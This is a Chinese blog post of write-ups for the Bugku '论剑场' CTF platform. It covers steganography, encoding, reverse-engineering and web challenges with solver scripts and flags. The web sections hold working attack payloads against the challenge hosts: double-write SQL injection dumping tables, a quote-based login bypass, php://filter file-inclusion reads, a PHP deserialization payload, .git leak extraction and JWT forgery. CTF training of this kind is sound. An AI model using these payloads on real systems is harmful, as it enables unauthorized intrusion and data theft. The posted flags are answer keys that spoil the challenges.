Bugku新平台论剑场writeup

原创

a370793934 于 2019-11-28 08:46:25 发布 7333 收藏 6
分类专栏： WriteUp 文章标签： Bugku 论剑场 writeup ctf

头像

用010editor打开搜索flag就是找到的flag：flag{bGxvdmV0aGVnaXJs}再经过base64解密flag{llovethegirl}后再来进行MD5加密得到

flag{8ba484e0a0e0a5ee4ffcb791385ddf25}

签到

签个到吧

flag{abcdABCD1234}

0和1的故事

解压后有flag{}.txt文件，用16进制编辑器打开，

20是空格表示1，那么09就表示0了，最后转换为16进制字符串就是最后的flag

flag{4ad5938eaf0efc0}

最简单的pwn

nc 114.116.54.89 10001

连上 cat flag

flag{6979d853add353c9}

Web26

代码审计

http://123.206.31.85:10026/?num=1&str=a

No No No Don't want to go back the door!!!

flag{f0058a1d652f13d6}

Web1

代码审计

http://123.206.31.85:10001/?b=php://input&a=1

或者

http://123.206.31.85:10001/?a=

flag{c3fd1661da5efb989c72b91f3c378759}

这个人真的很高

下载图片,提示很高，图片高度有问题，python脚本算出正确高度

```
# -*- coding: utf-8 -*-
import binascii
import struct

crc32key = 0x99daa9f6     #1D-20
for i in range(0, 65535):
  height = struct.pack('>i', i)
  data = '\x49\x48\x44\x52\x00\x00\x01\xf3' + height + '\x08\x06\x00\x00\x00'     #0C-1C
  crc32result = binascii.crc32(data) & 0xffffffff

  if crc32result == crc32key:
    print ''.join(map(lambda c: "%02X" % ord(c), height))
```

输出000002D7

010editor改高度000002D7，打开发现ffoEliuaanrsgDey{少一部分

再用010editor看文件末尾有aabl11us11ts1yy0}合起来ffoEliuaanrsgDey{aabl11us11ts1yy0}

栅栏加密，密码机器网页版破解接近的也不对，根据词义直接再拼出flag

flag{lss0Easybutyourea11yfinDa111}

Web9

考察PUT方法

curl -X PUT -d "bugku" http://123.206.31.85:3031/

或bs改包 反回

ZmxhZ3tUN2w4eHM5ZmMxbmN0OE52aVBUYm4zZkcwZHpYOVZ9

base64解密得

flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}

Snake

反编译jar文件，写python逆出flag

```
fake="eobdxpmbhf\\jpgYaiibYagkc{"
flag=""
for i in range(int(len(fake)/2)):
 flag=flag+chr(3^ord(fake[i]))
for f in range(int(len(fake)/2)+1,len(fake)):
 flag=flag+chr(6^ord(fake[f]))
print(flag)
```

或者

用CE修改分数499再吃一个弹出flag为乱码

同时修改长度502再吃一个弹出正确flag

flag{snake_ia_good_game}

进制转换

四进制转字符串，写python脚本：

```
# -*- coding:utf-8 -*-
four = [1212,1230,1201,1213,1323,1012,1233,1311,1302,1202,1201,1303,1211,301,302,303,1331]
```

flag = ""

for i in four:

flag += chr(int(str(i),4))

print flag

flag{Fourbase123}

流量分析

解压后wireshark打开追踪telnet协议tcp流

发现Password: flag{bugku123456}

flag{bugku123456}

easypdf

福昕pdf软件打开

ctrl+a全选

复制到记事本

Flag{you_found_it}

提示小写f

flag{you_found_it}

Android1

用jeb3打开apk文件按tab反汇编

代码审计，写出逆运算脚本

损坏的图片

用010打开发现16进制逆序了

编写python脚本逆回来

s=[…"47","4E","50","89"]

r = list(reversed(s))

print r

然后粘贴到010里保存，打开图片发现是个二维码

二维码工具查看得

flag{f3f4a1a0d4e8e8e1f4a0f}

Web2 快速计算提交

写python脚本

```
import re
import requests
url = "http://123.206.31.85:10002/"
s = requests.session()
get = s.get(url)
print get.content
reg = re.compile("(.*)</p>")
shu = re.findall(reg,get.content)
r = s.post("http://123.206.31.85:10002/",data = {"result":eval(shu[0])})
print r.content
```

flag{b37d6bdd7bb132c7c7f6072cd318697c}

Web5 sql注入

打不开

Web6 密码爆破

禁止外网ip地址访问，bs抓包添加x-forwarded-for: 127.0.0.1

然后找密码词典爆破

最后找到密码test123

登陆后显示The flag is: 85ff2ee4171396724bae20c0bd851f6b

flag{85ff2ee4171396724bae20c0bd851f6b}

Web11 md5爆破

写python脚本

```
#coding:utf-8
import hashlib
s="c3ff4b"
def count_md5(strings):
    md5=hashlib.md5(strings.encode('utf-8'))
    ret=md5.hexdigest()
    return ret
for i in range(1,1000000):
    key=count_md5(str(i))
    if key[0:6]==s:
        print(str(i))
```

或

```
import hashlib
s = "aea841"
for i in range(100000):
key = hashlib.md5(str(i)).hexdigest()
if key[0:6] == s:
print I
```

flag{e2f86fb5f75da4999e6f4957d89aaca0}

怀疑人生

三个文件

第一部分：ctf1.zip

第一个压缩包通过爆破得到密码是：pasword

得到一串base64编码后的字符串，解码后得到：\u66\u6c\u61\u67\u7b\u68\u61\u63\u6b\u65\u72

十六进制转字符串得到：flag{hacker

第二部分：ctf2.jpg

binwalk -e分离下，得到一个txt的文件里面有这些个东西是

Brainfuck编码,网站解码https://www.splitbrain.org/services/ook

得到：3oD54e

该字符串是base58编码

base58解码为字符串得到：misc

第三部分：ctf3.jpg

通过qc工具扫码得到：

12580}

三部分合到一起得到flag：

flag{hackermisc12580}

Web13

在数据包的头部发现一个password:

ZmxhZ3swZjMwYTNiMGIwZWZmZmJkNDI3M2M4YjM3ZDE4MDFiMX0=

base64解码之后得到一个flag,但是并不是题目的flag，于是在题目中提交flag中的内容：

flag{0f30a3b0b0efffbd4273c8b37d1801b1}

依旧是密码错误，发现刷新后再次查看password的字符串已经是变化的，并不是固定的，不刷新提交后

刚开始没有引入会话对象Session，导致一直提交的是错误的，需要保证GET请求和POST请求在同一个会话当中才能够获得最终的flag，编写python脚本快速提交post：

```
import base64
import requests

def get_flag(url):
    s = requests.Session()
    r = s.get(url)
    text=(r.headers['Password'])
```

```
    flag=bytes.decode(base64.b64decode(text.encode('utf-8')))
    flag=flag[5:-1]
    r = s.post(url, data={'password':flag})
    return r.content

print(get_flag("http://123.206.31.85:10013/index.php"))
```

flag{FjXAkdGnOBolUZaFzHqjlnY2VndLSg}

日志审计

直接搜索flag字符串 然后发现 一大串的注入痕迹

观察了发现最后一位的数值不同 猜测可能是ascii 转成 字符就行了

python脚本：

```
#coding=utf-8
import re

#打开文件
with open('log','r') as file:
text = file.read()
#匹配ascii码
asclist = re.findall(r'%3D(\d+)-',text)
#print filelist
#将ascii码转换为字符
flag = ""
for i in range(0,len(asclist)):
flag += chr(int(asclist[i]))
#打印flag
print flag
```

flag{mayiyahei1965ae7569}

向日葵

一张jpg的图片，用010Editor打开，常规的搜索下flag，key等没有发现什么，移到最后发现了Rar的文件头

修改文件后缀名为.rar打开得到

在一个a[5][5]的二维数组中有下列几个元素

（2,5）

（5,1）

（2,4）

（2,5）

（3,5）

（3,2）

（1,4）

（5,1）

（2,2）

（2,5）

（4,5）

（2,1）

（1,2）

（4,5）

（5,5）

那么flag是什么呢？

可能是英文字母5*5的排列，先试试

得到的就是：juijoldugjtfbty，提示最后一步凯撒密码，于是用密码机器网页版凯撒解密看看：

发现最后这个可能是：ithinkctfiseasx提交不对，改成：ithinkctfiseasy，提交正确！

flag{ithinkctfiseasy}

500txt

用linux命令搞定

strings *|grep key{

或者windows写python脚本

```
for i in range(1,501):
    with open(str(i)+'.txt',"r") as f:
        str1 = f.read()
        if 'key{' in str1:
            print(i)
```

输出318，打开318.txt发现flag，把key改成flag

flag{fe9ff627da72364a}

Rsa

Web18 sql注入

注入过滤判断

?id=1' and 1=1--+ 回显空白 -> 可能过滤了and

?id=1' And 1=1--+ 回显空白 -> 可能过滤了大小写

?id=1' anandd 1=1--+ 回显正常 -> 双写绕过 过滤了and、or

?id=1' oorrder by 3--+ ->列数为3

注入

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,database() --+

显示库为web18

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,(SselectELECT+GROUP_CONCAT(table_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATION_ --+

显示表名为flag

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,(SselectELECT+GROUP_CONCAT(column_name+SEPARATOORR+0x3c62723e)+FROM+INFOORRMATIO --+

显示列名为flag

http://123.206.31.85:10018/list.php?id=-1' uunionnion sselectelect 1,2,(SselectELECT+GROUP_CONCAT(flag+SEPARATOORR+0x3c62723e)+FROM+web18.flag) --+

显示数据为

flag{22b7a7c3d73d88050722b3eeb102ee45}

画图

首先把flag.bmp放在winhex

发现下边有好多类似于 0 0 255 255 255这样的数值

猜测是 坐标和RGB的值

我们把这个数值复制一下放到一个txt里

在这里插入图片描述

然后可以利用python脚本来画图

```
#先安装库pip install pillow
#coding:utf-8
from PIL import Image
x = 173 #x坐标  通过对txt里的行数进行整数分解
y = 173 #y坐标  x*y = 行数

im = Image.new("RGB",(x,y))#创建图片
file = open('1.txt') #打开rbg值文件

#通过一个个rgb点生成图片
for i in range(0,30000):
    line = file.readline()#获取一行
    rgb = line.split(" ")#分离rgb
    try:
        im.putpixel((int(rgb[0]),int(rgb[1])),(int(rgb[2]),int(rgb[3]),int(rgb[4])))#rgb转化为像素
    except:
        im.show()
```

```
    break
```

flag{painterY0ur}

Web20

需要get方式快速提交,python脚本：

```
#coding:utf-8
import re
import requests

url = "http://123.206.31.85:10020/"
s = requests.session()

while 1:
r = s.get(url)
content = r.content
# print(content)
reg = re.compile(r"[0-9a-z]+")
miwen = re.findall(reg,content)[0]
# print(miwen)
url1 = url + "?key=" + str(miwen)
get = s.get(url1)
print(get.content)
```

flag{Md5tiMe8888882019}

Easyzip

web25

御剑扫描到

http://123.206.31.85:10025/shell.php

进入下载

http://123.206.31.85:10025/2/ziidan.txt

删除/2

http://123.206.31.85:10025/ziidan.txt

手工输入hsjnb到shell.php

flag{ee90585a68b88bcd}

basere

复杂加密

Web3

文件包含漏洞

http://123.206.31.85:10003/?op=php://filter/read=convert.base64-encode/resource=flag

读出

PD9waHAgCiRmbGFnPSJmbGFne2UwMGY4OTMxMDM3Y2JkYjI1ZjZiMWQ4MmRmZTU1NTJmfSI7IAo/Pgo=

base64解密后

<?php

$flag="flag{e00f8931037cbdb25f6b1d82dfe5552f}";

?>

flag{e00f8931037cbdb25f6b1d82dfe5552f}

Web4

bs抓包后改

username=admin&password=' or 1='1

flag{7ae7de60f14eb3cbd9403a0c4328598d}

flag在不在这里

下载解压发现6个文件其中11.png大小不一样

用010editor打开，改高度为1000,发现flag：

flag{e53a0a2978c28872a4505bdb51db06dc}

神奇的字符串 base三重加密

根据密码589164先是base64，再是base61，最后是base58

python2脚本：

```
#coding:utf-8

import base64
import base91
import base58

a = "bE0veldtTDs7NzlTe3hzbSFYSj5Sa2U6eyQ4NyVrl3FvWFU6Qls7QlVK"
b = base64.b64decode(a)
c = base91.decode(b)
d = base58.b58decode(str(c))

print(b)
print(c)
print(d)
```

输出：

```
lM/zWmL;;79S{xsm!XJ>Rke:{$87%k#qoXU:B[;BUJ
iDMb6ZMTGMptmkhxw36mqkjCkyUHL3sSp4
flag{JustUse3TimesEncode}
[Finished in 0.1s]
```

flag{JustUse3TimesEncode}

blind

先foremost分离图片为图片和压缩包，压缩包再解压得到图片，两张一样的图，猜测是盲水印

#项目1 https://github.com/chishaxie/BlindWaterMark

#python运行

#python bwm.py decode blind.png blind_blind.png flag.png #该项目本题不能用

项目2 https://github.com/linyacool/blind-watermark

pthon运行

python decode.py --original blind.png --image blind_blind.png --result result.png

得到flag;

flag{s0rrylAmBlind}

火眼金睛

拿到的题目到手是一个压缩包

题干中给的提示有tips：five-digit

于是猜测是5位数字

Ziperello.exe暴力破解后得到密码

下一个压缩包内有和已经破解出来的压缩包一样的文件 于是又用到明文破解了

明文破解必须压缩算法一样，用7z再压缩readme.txt可以

用Advanced Archive Password Recovery破解成功

得到张图片

首先在010editor查看 最后有组base64

解出来是flag{Th1s_1s_fakef1ag} 这是个假flag

于是又试了其他的方法 发现改了高度之后就OK了

得到flag：

flag{40328fb5149e493d}

你真的了解base的原理吗

下载文件后，发现有8MB，很明显这个base很大，用notepad或者其它类型的笔记本打开，发现是一种不常见的base85，所以不了解base的自然不知道。

提示说：四个python，所以说明这个要用脚本来爆破，可是base家族那么多，不知道具体是哪个，所以根本不好爆破，细节来了，题目说python，当通过用python 调用base64 这个模块的时候，发现这个模块允许的只有base16 32 64 和85才可以解码，且提示标注了4个python，所以基本确定这个码是通过这四个分别加密得到的。所以可以通过正则的匹配来进行爆破。附带脚本：

```
import re
import base64
with open('base_python.txt','r') as f:
    decode = f.read()
    try:
        for i in range(30):
         s = re.compile(r'[a-z]|[=]').findall(decode)
         s1 = re.compile(r'[0189]').findall(decode)
         s2 = re.compile(r'[,%;>|){:”’*?@<.(]').findall(decode)
         if 'flag' in decode:
             print(decode)
             print(i)
             break
         elif (bool(s1) == False) and  (bool(s2) ==False) :
             decode = base64.b32decode(decode)
         elif bool(s) == True and bool(s2) == False :
             decode = base64.b64decode(decode)
         elif bool(s2) == True:
             decode = base64.b85decode(decode)
         else :
             decode = base64.b16decode(decode)
         decode = str(decode, encoding='utf-8')
    except:
        print(decode)
f.close()
print(decode)
```

爆破后发现爆破出来的是：

flag{OTRhZTkyOTE0NmJiNGFjNWZhNDMzOTM1ZjkxYzg4Njk==}

提交并不是对的flag，也许是里面的也要解码，不了解base的人会认为这是base64，但是解码发现是错误的。所以这就考到了base的原理性了，发现里面的字符串的长度是45，而base64通常都是4的倍数，所以明显多了一个=，去掉=，在解码即可得到flag，即为：

flag{94ae929146bb4ac5fa433935f91c8869}

Web15

御剑扫到index.php~

下载index.php~打开

代码审计

case $id>=0 => case 1

case $id>=10 => case 0

构造intval($id) == 0

echo intval("a"); //0

输入

http://123.206.31.85:10015/index.php?id=a&submit=

得到flag

flag{ls_wh1te_ooo000oo0}

密码忘了，幸亏生成器还在！

坏掉的图像

把图片丢进winhex里，发现头部的 0D 1A 0A 1A是不正确的，正确的应该为 0D 0A 1A 0A，所以需要更改。

更改完成后打开图片可以看到王者荣耀的log，但是并没有什么用处。

联想图片的名字为Steganography，所以想到使用Image Steganography软件

把图片放进去后，选择解密在文本框里就会得到flag

flag{Hero1sY0urseLf}

baby_reverse

将前三个字符 转化为ascii ，然后存放到一个数组里

得到了加密后的字符串， 接着查看encode()函数，看看它的加密算法

加密的过程是 将用户输入的字符串，拆分成了3组，每组进行异或和加减运算之后 累计到一个变量里，将这个变量跟enflag做比较。

python写一个脚本：

```
enflag=[0x7e,0x74,0x75,0x7f,0x67,0x63,0x24,0x63,0x60,0x65,0x74,0x6d,0x24,0x7d,0x43,0x25,0x7a,0x69]
v3=[]
v4=[]
v5=[]
v7=18
flag=''
for i in range(0,len(enflag),3):
    v5.append((enflag[i]^v7)-6)
    v4.append((enflag[i+1]^v7)+6)
    v3.append(enflag[i+2]^v7^6)

for j in range(v7/3):
    flag+=chr(v5[j])+chr(v4[j])+chr(v3[j])
    print flag
```

flag{w0wtqly0uW1n}

被截获的电报

用Audacity打开音频文件

根据波形写出信息

python脚本解密

```
#coding:utf-8
#!/usr/bin/python
#摩尔电码解密
from __future__ import print_function
a = "01 1010 1 00 11111 10 1101 001 00 1010 101"
b = a.split(" ") #分隔符
print(b)
```

```
c = []
s = []
for i in range(len(b)):
c.append(b[i].replace("0",".")) #0替換.
for i in range(len(c)):
s.append(c[i].replace("1","-")) #1替換-
print(s)

dict = {'.-': 'A',
        '-...': 'B',
        '-.-.': 'C',
        '-..':'D',
        '.':'E',
        '..-.':'F',
        '--.': 'G',
        '....': 'H',
        '..': 'I',
        '.---':'J',
        '-.-': 'K',
        '.-..': 'L',
        '--': 'M',
        '-.': 'N',
        '---': 'O',
        '.--.': 'P',
        '--.-': 'Q',
        '.-.': 'R',
        '...': 'S',
        '-': 'T',
        '..-': 'U',
        '...-': 'V',
        '.--': 'W',
```

```
        '-..-': 'X',
        '-.--': 'Y',
        '--..': 'Z',
        '.----': '1',
        '..---': '2',
        '...--': '3',
        '....-': '4',
        '.....': '5',
        '-....': '6',
        '--...': '7',
        '---..': '8',
        '----.': '9',
        '-----': '0',
        '..--..': '?',
        '-..-.': '/',
        '-.--.-': '()',
        '-....-': '-',
        '.-.-.-': '.',
        };
for item in s:
    print (dict[item],end='')
```

输出ACTI0NQUICK

Flag{ACTI0NQUICK}

Bilibili

Web22

打开就有

flag{a9a014d9093ba693}

C2un

下载过来是一个doc文件 打开出现这样的页面

于是放到010editor看一眼

PK字样 应该是个压缩包 改后缀名zip解压打开

在里边的一个文件夹里找到flag.zip

这个压缩包是有密码的 里边有给出提示弱口令 于是就拿去字典跑一下 得到密码是password

打开me}.txt 发现是一堆十六进制字符

先拿到去转换一下 看到了PNG的文件头

所以放到010edito变成图片

打开图片放到stegsolve里

显示flag{see

结合 之前压缩包里的文件名me}.txt

合起来就是

flag{seeme}

名侦探柯南

首先将压缩包里的“我是柯南.png”图片丢进winhex中

发现图片的头标志为jpg文件，于是更改文件后缀名，但是并无明显变化

于是掏出神器Stegsolve，把照片丢进去看一下

发现一段rar压缩包的的十六进制，复制下来粘贴到winhex里保存为新文件

压缩包里有一个论剑场的图片，打开图片，然后再丢进winhex中改一下图片的长度，得到图片

百度一下吴彦祖的生日是19740930，这样就得到了另一个压缩包的密码，打开发现一个动图

由于图片频率太快在丢进Stegsolve中去，一帧一帧的看

得到flag图片

flag{lunjian_together}

Pickle

安慰的话语

先把科加斯的图片拉去binwalk跑一边 得到一个压缩包

压缩包的txt里有段佛曰……

佛曰：能那栗俱曰皤大夜呐漫侄依佛梵遮等諳顛老訶老諳者耨梵婆真輸故般豆輸俱明皤涅諳得缽跋無俱提至朋缽上實遮侄遮皤心菩呐老皤夷梵諦爍南咒怯心究呐明缽神罰故諳輸勝俱蘇一哆摩恐哆喝哆切切諳阿死哆若有摩缽真若夢姪侄離蒙哆倒是侄薩曰怯耶豆般利皤都若夜俱耨逝訶諳無侄悉涅皤波諳耶諳婆罰彌倒諳摩缽智梵闍怯波罰遠地若侄迦梵闍實殿侄依喝梵寫槃醢特三除竟呐滅諳究漫諳一等冥耶侄世地缽提吉羅皤除罰遮咒薩薩梵盡

像是前几年很流行的佛曰加密来着（那时候好多论坛和群里都玩这个来着）

http://www.keyfc.net/bbs/tools/tudoucode.aspx 解密地址

得到一串

e58e8be7bca9e58c85e5af86e7a081e4b8ba7061737331323321212121

一开始没啥思路 试了很久

最后发现 把他们加上%然后urldecode解码就好了

%e5%8e%8b%e7%bc%a9%e5%8c%85%e5%af%86%e7%a0%81%e4%b8%ba%70%61%73%73%31%32%3

得到压缩包密码为 pass123!!!!

然后另外一个压缩包输入密码进去之后 会有一堆压缩包

最后到一个虚空.zip的压缩包 是一个伪加密

里边有个txt是base64

转码后得到一个urldecode

再用urldecode工具转得到

公正公正公正友善公正公正民主公正法治法治诚信民主自由友善公正公正敬业公正法治公正爱国法治自由平等友善敬业公正友善敬业公正公正平等友善敬业公正爱国公正友善敬业法治富强公正平等法治友善法治

再使用社会主义核心价值观加密解密https://z.duoluosb.com/

flag{Light_of_hope}

简单异或

不简单的压缩包

迷失的cxk

Easydoc

打开压缩包，看到一个doc存在密码

直接用Accent OFFICE Password Recovery爆破word密码为666666

打开word发现下面有一行小字，倒序的核心价值观编码

倒序之后进行解码

python3脚本

#coding:utf-8

Str1 = '治法善友治法业敬谐和国爱等平谐和由自业敬善友由自由自由自国爱等平谐和由自等平信诚由自由自由自国爱等平谐和由自业敬善友由自由自由自主民信诚治法治法正公主民正公明文信诚正公正公正公'

#字符串分片截图功能,从尾到头截图,步长为-1即倒序截取

print(str1[::-1])

kali里解码

cve -d 公正公正公正诚信文明公正民主公正法治 法治诚信民主自由自由自由友善敬业自由和谐平等爱国自由自由自由诚信平等自由和谐平等爱国自由自由自由友善敬业自由和谐平等爱国和谐敬业法治友善法治

输出

flag{DOCXDOCXDOCX9}

提莫队长

三明治

Zst

(自己的题)

首先用wireshark打开流量包，分析发现有ftp传输协议，用ftp-data命令过滤，发现有两个传输文件flag.txt和screenshot.zip两个文件，跟踪tcp流将这两个文件导出，导出screenshot.zip文件打开发现有加密，导出flag.txt文件发现里面有字符串Y3RmbWltYQ==，猜测是密码，输入提示错误，根据后面的==猜测是base64加密，解密后是ctfmima，输入密码正确解压出screenshot.png文件，打开后提示损坏，用010editor打开，发现文件头PNG文件头错误90504E47，应该为89504E47，更改后保存，正确打开图片，看图发现小人下面有Vigenere提示，猜测flag应该为维吉尼亚密码加密，用tweakpng.exe分析图片信息，发现ICC Profile的name字符串是kfnl{wgkcfkoa}，疑似加密flag，但还缺少解密秘钥，猜测图片底部可能有隐藏，再次用010editor打开图片修改图片高度由520修改为540，保存后打开图片，发现隐藏信息fun，用维吉尼亚密码解密工具解密，密文：kfnl{wgkcfkoa}秘钥：fun 解密结果：flag{ctfisfun} 此为正确的flag。

flag{ctfisfun}

Web14

git泄露

python GitHack.py http://123.206.31.85:10014/.git/

下载到flag.php

flag{GitIsAFreeVessionControlSyStem}

小明的文件

下载过来的压缩包有四个文件

其中三个txt 只有六个字节

跑了一遍弱口令 和伪加密 发现都不能

那应该就是要crc32碰撞了

python crc32.py reverse 0xcdcc2b09

都跑一边 找出有规律的字符串 得到

_easy_crc32_6bits_

成功解压文件

打开pdf发现一个二维码

扫描后发现是个假的flag

丢到kali里foremost分离出两张jpg

用画图修复了分裂的二维码，加三个点，然后扫出来就是答案

flag{goodyoufindme}

KyrieIrving

盲水印 工具 BlindWaterMark-master

python bwm.py decode KyrieIrving.png KyrieIrving_flag.png flag.png

flag{Kyrie_Irving_is_cool}

Web21

文件包含、代码审计、反序列化

代码审计构造：

http://123.206.31.85:10021/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

解码得到class.php的源码，再代码审计

看到unserialize();这是个反序列化函数，我们可以利用这个函数，传入参数导致调用index.php中的class类，然后读取f1a9.php中的内容。

有关反序列化的知识：https://www.cnblogs.com/dragonli/p/5527414.html

反序列化漏洞的知识：https://www.cnblogs.com/perl6/p/7124345.html

于是我们来手写一个序列化，调用class.php类，然后让file=f1a9.php。

序列化： O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

最后payload：

http://123.206.31.85:10021/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

查看页面源代码：

flag{db2699f21f433a78}

一枝独秀

。。。 。。。

你能找到flag吗

Web10

首先查看源码

<!--hint:NNVTU23LGEZDG====-->

base32解码得

kk:kk123

估计是用户名和密码

登陆

提示vim，且说L3yx的网站有秘密，flag应该就在L3yx的网站里了

估计于.swp文件泄露有关

Linux下的vim编辑器在非正常退出的情况下会自动生成swp后缀的备份文件(.(filename).swp)，比如编辑a.php异常退出时会产生 .a.php.swp

我们登录后在重新访问能直接看到目录

直接找到.swp

linux系统下

使用vi -r L3yx.php.swp

可以恢复文件

不知道jwt的我赶紧了解了一下http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html了解后就可以这题主要就是想让我们同过jwt的检验机制登录了

jwt的前两部分可以直接base64解密看到，而第三部分签名的密钥应该就是源码里的key了这样的话我们就可以自己构造JWT 令牌（也就是token）了

从源码中可以看出其它三个是固定的，主要还是靠account来确定进入哪个用户

这里我们就直接访问user.php，把抓到的token前两部分解码

然后去https://jwt.io/或者https://www.jsonwebtoken.io/

把kk改为L3yx，再输入密钥（这里还要注意时间的问题，有效期只有五秒）

然后就把构造的token传入发包即可得到flag

flag{32ef489b73c4362ca6f28b7e7cf88368}

Rsa2

待续